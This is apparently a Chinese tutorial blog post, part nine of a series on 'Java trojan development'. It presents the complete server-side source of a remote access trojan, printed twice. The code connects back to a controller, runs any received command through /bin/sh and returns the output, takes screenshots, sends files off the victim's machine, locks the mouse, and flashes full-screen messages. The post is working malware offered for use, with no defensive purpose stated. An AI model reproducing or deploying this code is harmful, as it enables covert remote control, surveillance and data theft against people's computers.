java 木馬開發(9)---服務端 完結 完整程式碼
阿新 • • 發佈:2019-01-02
*/
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
import javax.imageio.ImageIO;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
public class ServerLin {
// 開啟Socket 連線的哨兵
boolean link = false;
//Robot類的哨兵 Robot類實現抓屏
boolean end=false;
Socket socket;
String osName;
DataInputStream dis;
DataOutputStream dos;
String commendString;
Process process;
Runtime r = Runtime.getRuntime();
BufferedReader bufferedReader;
BufferedImage bi;
Robot robot;
MouseLockThread mouseLockThread;
int time[] = { 5000, 120000, 300000 }, timeSel = 0;
public ServerLin(String str) {
//傳入作業系統名字
this.osName = str;
while (!link) {
try {
Thread.sleep(5000); //每隔5秒
//指定socketServer IP地址和socketServer 監聽埠
//如果與控制端的連線沒有建立 會丟擲Connection refused 例外
socket = new Socket("127.0.0.1", 1220);
//sock哨兵 不在重複建立連線
link = true;
System.out.println("***Client is already on the line***");
} catch (ConnectException e1) {
// 連線被拒絕後跳到此處
System.out.println("Listen every 5 seconds.");
//重新建立連線 直到建立連線為止
continue;
// e1.printStackTrace();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//連線成功建立後 開始建立
try {
//獲得輸入流
dis = new DataInputStream(socket.getInputStream());
//獲得輸出流
dos = new DataOutputStream(socket.getOutputStream());
//將何種作業系統傳到控制端
dos.writeUTF(osName);
} catch (IOException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}
//不斷迴圈接收指令 知道end 變數為true
while (!end) {
try {
//建立Robot物件 後面用來截圖
robot = new Robot();
} catch (AWTException e) {
e.printStackTrace();
}
//非常重要的函式,獲取控制端傳過來的命令,根據命令呼叫功能函式
takeOrder();
}
}
//不斷的迴圈接收控制端傳來的指令,並根據指令進行判斷,到達不同的控制流
void takeOrder() {
while (true) {
try {
commendString = dis.readUTF().trim();
//如果字首是exit 則退出while迴圈 關閉輸入輸出流
if (commendString.startsWith("exit")) {
end = true;
dis.close();
dos.close();
break;
}
} catch (IOException e) {
//接收指令發生異常時,則退出while迴圈 關閉輸入輸出流
System.out.println("leave");
end = true;
try {
dis.close();
dos.close();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
break;
}
//判斷接收的指令 如果是以-d youarehacked 開頭,服務端會彈出一個對話方塊,
if (commendString.startsWith("-d ")) {
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
showDialog(commendString);//彈出一個對話方塊函式
} else if (commendString.startsWith("-p")) {//如果命令是以-p開頭,呼叫被控制端螢幕被截圖
sendPic(); //截圖函式
} else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’開頭,呼叫下載函式
String strFile = commendString.substring(5);
File file = new File(strFile);
// File file = new File("e:\\a.txt");
if (file.isFile())
downFile(strFile);//下載函式
} else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’開頭,則被控制端機器滑鼠被鎖住
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
mouseLock(commendString); //滑鼠鎖住函式
} else if (commendString.startsWith("-flash")) { //如果命令是以‘-flash’開頭,則被控制端機器閃屏
try {
commendString = commendString.substring(6);
} catch (Exception e) {
commendString = "";
}
new Flash(commendString); //閃屏函式
//當前面判斷沒有執行時,windows將會呼叫cmd,linux呼叫shell
} else {
shellExe(commendString);
}
}
}
/* display password dialog */
/* 鎖住滑鼠函式
* 接收l引數 啟動滑鼠鎖定執行緒
* 接收a 停止滑鼠鎖定執行緒
* */
void mouseLock(String s) {
if (s.equals("l")) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals("a")) {
mouseLockThread.flag = false;
}
}
/* shell */
//java在linux環境下呼叫平臺shell去執行輸入的指令引數 cmd 指令
void shellExe(String cmd) {
try {
String[] cmdA = { "/bin/sh", "-c", cmd }; //cmd是需要執行命令
Process process = Runtime.getRuntime().exec(cmdA); //呼叫linux shell,執行命令 返回一個程序
//獲得命令執行的結果
LineNumberReader br = new LineNumberReader(new InputStreamReader(process.getInputStream()));
dos.writeUTF("1start"); //命令返回開始標識
// StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
line = line.trim();
dos.writeUTF(line);//將結果返回到控制端
// System.out.println(line);
// sb.append(line).append("\n");
}
dos.writeUTF("1end");////命令返回結束標識
// return sb.toString();
} catch (Exception e) {
e.printStackTrace();
}
// return null;
}
//截圖函式
void sendPic() {
/* Rectangle指定座標空間中的一塊區域 從左上角(0,0)開始,
* 然後用Toolkit函式獲得本機系統的螢幕寬度和高度,這裡是取得全屏的尺寸。
*/
//使用Robot類獲取螢幕 返回BufferedImage物件,利用這個物件可以很方便的對影象進行操作
BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
//將影象裝到位元組陣列中
byte[] imageData = getCompressedImage(bi);
if (imageData != null) {
try {
dos.writeUTF("2start"); //告訴控制端將要傳輸截圖影象了
dos.writeInt(imageData.length); //告訴控制端將要傳輸的影象的大小
dos.write(imageData);//開始傳輸截圖影象
} catch (IOException e) {
e.printStackTrace();
}
}
}
//下載檔案 將要傳輸的檔案構建成檔案輸入流,然後建立一個臨時位元組陣列,不斷的讀取檔案輸入流
//同時將臨時位元組陣列存入位元組陣列緩衝區,最後將位元組陣列緩衝區轉化為位元組陣列傳給控制端。
void downFile(String fileAbsolutePath) {
//注意這裡要輸入檔案的絕對路徑
File file = new File(fileAbsolutePath);
FileInputStream fis = null;
//在記憶體中建立一個位元組陣列緩衝區
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
fis = new FileInputStream(file); //建立一個檔案輸入流
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
byte[] b = new byte[1024]; //構建1k位元組長度的陣列
int n;
try {
//從檔案輸入流中讀入b.length位元組長度的資料到b陣列中,返回讀入的位元組數
while ((n = fis.read(b)) != -1) {
//將b陣列從0位置開始,長度是n的資料寫入到位元組陣列緩衝區
out.write(b, 0, n);
}
if (out != null) {
dos.writeUTF("3start");//告訴控制端將要傳輸檔案了
dos.writeUTF(file.getName());//告訴控制端將要傳輸的檔名字
dos.writeInt(out.toByteArray().length);//告訴控制端將要傳輸的檔案大小
dos.write(out.toByteArray());//開始傳輸
}
} catch (IOException e) {
e.printStackTrace();
}
}
void showDialog(String s) {
new ShowDialogThread(s).start(); //啟動一個執行緒
}
//將影象裝到位元組陣列中
public byte[] getCompressedImage(BufferedImage image) {
byte[] imageData = null;
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//將生成的影象以jpg格式,寫入到位元組陣列輸出流
ImageIO.write(image, "jpg", baos);
//建立位元組陣列
imageData = baos.toByteArray();
} catch (IOException ex) {
imageData = null;
}
return imageData;
}
//執行緒類 採用的方式是繼承Thread類
class ShowDialogThread extends Thread {
String info;
public ShowDialogThread(String s) { //建構函式接收需要顯示的引數
this.info = s;
}
public void run() {
JOptionPane.showMessageDialog(null, info); //彈出對話方塊
}
}
//開一個執行緒
class MouseLockThread extends Thread {
boolean flag = false; //建立一個監控哨兵
public void run() {
Point p = MouseInfo.getPointerInfo().getLocation();//獲取滑鼠目前的位置
while (flag) { //哨兵為真時,一直迴圈
try {
Thread.sleep(1);
robot.mouseMove(p.x, p.y); //移動滑鼠到當前位置
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
//閃屏函式
class Flash {
JFrame frame;
JPanel pane;
Color c[] = { Color.pink, Color.white, Color.blue };
int i;
Image offScreenImage = null;
String msg;
public Flash(String s) {
msg = s;
//使用Toolkit.getDefaultToolkit()獲取本地主機資源,這裡獲取了螢幕寬和高
final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
//建立一個大小與螢幕相等的窗體,並設定在其它窗體上面
frame = new JFrame();
frame.setAlwaysOnTop(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setUndecorated(true);
frame.setBounds(0, 0, width, height);
//在面板中繪製與螢幕大小相同的影象
pane = new JPanel() {
public void paint(Graphics g) {
if (offScreenImage == null) {
offScreenImage = this.createImage(width, height);
}
//處理螢幕顯示的影象,包括顏色,顯示的字串等
Graphics gg = offScreenImage.getGraphics();
gg.setFont(new Font(null, Font.PLAIN, 50));
gg.setColor(c[i]);
gg.fillRect(0, 0, width, height);
gg.setColor(Color.black);
gg.drawString(msg, 200, 50);
g.drawImage(offScreenImage, 0, 0, null);
}
};
frame.setContentPane(pane);
frame.setVisible(true);
//
new Thread() {
public void run() {
int time = 0;
while (i < c.length) {
Flash.this.myUpdate();
try {
Thread.sleep(50);
time++;
if (time == 100) {
frame.dispose();
break;
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
}
public void myUpdate() {
if (i == c.length - 1) {
i = 0;
} else {
i++;
}
pane.repaint();
}
}
}
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
import javax.imageio.ImageIO;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
public class ServerLin {
// 開啟Socket 連線的哨兵
boolean link = false;
//Robot類的哨兵 Robot類實現抓屏
boolean end=false;
Socket socket;
String osName;
DataInputStream dis;
DataOutputStream dos;
String commendString;
Process process;
Runtime r = Runtime.getRuntime();
BufferedReader bufferedReader;
BufferedImage bi;
Robot robot;
MouseLockThread mouseLockThread;
int time[] = { 5000, 120000, 300000 }, timeSel = 0;
public ServerLin(String str) {
//傳入作業系統名字
this.osName = str;
while (!link) {
try {
Thread.sleep(5000); //每隔5秒
//指定socketServer IP地址和socketServer 監聽埠
//如果與控制端的連線沒有建立 會丟擲Connection refused 例外
socket = new Socket("127.0.0.1", 1220);
//sock哨兵 不在重複建立連線
link = true;
System.out.println("***Client is already on the line***");
} catch (ConnectException e1) {
// 連線被拒絕後跳到此處
System.out.println("Listen every 5 seconds.");
//重新建立連線 直到建立連線為止
continue;
// e1.printStackTrace();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//連線成功建立後 開始建立
try {
//獲得輸入流
dis = new DataInputStream(socket.getInputStream());
//獲得輸出流
dos = new DataOutputStream(socket.getOutputStream());
//將何種作業系統傳到控制端
dos.writeUTF(osName);
} catch (IOException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}
//不斷迴圈接收指令 知道end 變數為true
while (!end) {
try {
//建立Robot物件 後面用來截圖
robot = new Robot();
} catch (AWTException e) {
e.printStackTrace();
}
//非常重要的函式,獲取控制端傳過來的命令,根據命令呼叫功能函式
takeOrder();
}
}
//不斷的迴圈接收控制端傳來的指令,並根據指令進行判斷,到達不同的控制流
void takeOrder() {
while (true) {
try {
commendString = dis.readUTF().trim();
//如果字首是exit 則退出while迴圈 關閉輸入輸出流
if (commendString.startsWith("exit")) {
end = true;
dis.close();
dos.close();
break;
}
} catch (IOException e) {
//接收指令發生異常時,則退出while迴圈 關閉輸入輸出流
System.out.println("leave");
end = true;
try {
dis.close();
dos.close();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
break;
}
//判斷接收的指令 如果是以-d youarehacked 開頭,服務端會彈出一個對話方塊,
if (commendString.startsWith("-d ")) {
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
showDialog(commendString);//彈出一個對話方塊函式
} else if (commendString.startsWith("-p")) {//如果命令是以-p開頭,呼叫被控制端螢幕被截圖
sendPic(); //截圖函式
} else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’開頭,呼叫下載函式
String strFile = commendString.substring(5);
File file = new File(strFile);
// File file = new File("e:\\a.txt");
if (file.isFile())
downFile(strFile);//下載函式
} else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’開頭,則被控制端機器滑鼠被鎖住
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
mouseLock(commendString); //滑鼠鎖住函式
} else if (commendString.startsWith("-flash")) { //如果命令是以‘-flash’開頭,則被控制端機器閃屏
try {
commendString = commendString.substring(6);
} catch (Exception e) {
commendString = "";
}
new Flash(commendString); //閃屏函式
//當前面判斷沒有執行時,windows將會呼叫cmd,linux呼叫shell
} else {
shellExe(commendString);
}
}
}
/* display password dialog */
/* 鎖住滑鼠函式
* 接收l引數 啟動滑鼠鎖定執行緒
* 接收a 停止滑鼠鎖定執行緒
* */
void mouseLock(String s) {
if (s.equals("l")) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals("a")) {
mouseLockThread.flag = false;
}
}
/* shell */
//java在linux環境下呼叫平臺shell去執行輸入的指令引數 cmd 指令
void shellExe(String cmd) {
try {
String[] cmdA = { "/bin/sh", "-c", cmd }; //cmd是需要執行命令
Process process = Runtime.getRuntime().exec(cmdA); //呼叫linux shell,執行命令 返回一個程序
//獲得命令執行的結果
LineNumberReader br = new LineNumberReader(new InputStreamReader(process.getInputStream()));
dos.writeUTF("1start"); //命令返回開始標識
// StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
line = line.trim();
dos.writeUTF(line);//將結果返回到控制端
// System.out.println(line);
// sb.append(line).append("\n");
}
dos.writeUTF("1end");////命令返回結束標識
// return sb.toString();
} catch (Exception e) {
e.printStackTrace();
}
// return null;
}
//截圖函式
void sendPic() {
/* Rectangle指定座標空間中的一塊區域 從左上角(0,0)開始,
* 然後用Toolkit函式獲得本機系統的螢幕寬度和高度,這裡是取得全屏的尺寸。
*/
//使用Robot類獲取螢幕 返回BufferedImage物件,利用這個物件可以很方便的對影象進行操作
BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
//將影象裝到位元組陣列中
byte[] imageData = getCompressedImage(bi);
if (imageData != null) {
try {
dos.writeUTF("2start"); //告訴控制端將要傳輸截圖影象了
dos.writeInt(imageData.length); //告訴控制端將要傳輸的影象的大小
dos.write(imageData);//開始傳輸截圖影象
} catch (IOException e) {
e.printStackTrace();
}
}
}
//下載檔案 將要傳輸的檔案構建成檔案輸入流,然後建立一個臨時位元組陣列,不斷的讀取檔案輸入流
//同時將臨時位元組陣列存入位元組陣列緩衝區,最後將位元組陣列緩衝區轉化為位元組陣列傳給控制端。
void downFile(String fileAbsolutePath) {
//注意這裡要輸入檔案的絕對路徑
File file = new File(fileAbsolutePath);
FileInputStream fis = null;
//在記憶體中建立一個位元組陣列緩衝區
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
fis = new FileInputStream(file); //建立一個檔案輸入流
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
byte[] b = new byte[1024]; //構建1k位元組長度的陣列
int n;
try {
//從檔案輸入流中讀入b.length位元組長度的資料到b陣列中,返回讀入的位元組數
while ((n = fis.read(b)) != -1) {
//將b陣列從0位置開始,長度是n的資料寫入到位元組陣列緩衝區
out.write(b, 0, n);
}
if (out != null) {
dos.writeUTF("3start");//告訴控制端將要傳輸檔案了
dos.writeUTF(file.getName());//告訴控制端將要傳輸的檔名字
dos.writeInt(out.toByteArray().length);//告訴控制端將要傳輸的檔案大小
dos.write(out.toByteArray());//開始傳輸
}
} catch (IOException e) {
e.printStackTrace();
}
}
void showDialog(String s) {
new ShowDialogThread(s).start(); //啟動一個執行緒
}
//將影象裝到位元組陣列中
public byte[] getCompressedImage(BufferedImage image) {
byte[] imageData = null;
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//將生成的影象以jpg格式,寫入到位元組陣列輸出流
ImageIO.write(image, "jpg", baos);
//建立位元組陣列
imageData = baos.toByteArray();
} catch (IOException ex) {
imageData = null;
}
return imageData;
}
//執行緒類 採用的方式是繼承Thread類
class ShowDialogThread extends Thread {
String info;
public ShowDialogThread(String s) { //建構函式接收需要顯示的引數
this.info = s;
}
public void run() {
JOptionPane.showMessageDialog(null, info); //彈出對話方塊
}
}
//開一個執行緒
class MouseLockThread extends Thread {
boolean flag = false; //建立一個監控哨兵
public void run() {
Point p = MouseInfo.getPointerInfo().getLocation();//獲取滑鼠目前的位置
while (flag) { //哨兵為真時,一直迴圈
try {
Thread.sleep(1);
robot.mouseMove(p.x, p.y); //移動滑鼠到當前位置
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
//閃屏函式
class Flash {
JFrame frame;
JPanel pane;
Color c[] = { Color.pink, Color.white, Color.blue };
int i;
Image offScreenImage = null;
String msg;
public Flash(String s) {
msg = s;
//使用Toolkit.getDefaultToolkit()獲取本地主機資源,這裡獲取了螢幕寬和高
final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
//建立一個大小與螢幕相等的窗體,並設定在其它窗體上面
frame = new JFrame();
frame.setAlwaysOnTop(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setUndecorated(true);
frame.setBounds(0, 0, width, height);
//在面板中繪製與螢幕大小相同的影象
pane = new JPanel() {
public void paint(Graphics g) {
if (offScreenImage == null) {
offScreenImage = this.createImage(width, height);
}
//處理螢幕顯示的影象,包括顏色,顯示的字串等
Graphics gg = offScreenImage.getGraphics();
gg.setFont(new Font(null, Font.PLAIN, 50));
gg.setColor(c[i]);
gg.fillRect(0, 0, width, height);
gg.setColor(Color.black);
gg.drawString(msg, 200, 50);
g.drawImage(offScreenImage, 0, 0, null);
}
};
frame.setContentPane(pane);
frame.setVisible(true);
//
new Thread() {
public void run() {
int time = 0;
while (i < c.length) {
Flash.this.myUpdate();
try {
Thread.sleep(50);
time++;
if (time == 100) {
frame.dispose();
break;
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
}
public void myUpdate() {
if (i == c.length - 1) {
i = 0;
} else {
i++;
}
pane.repaint();
}
}
}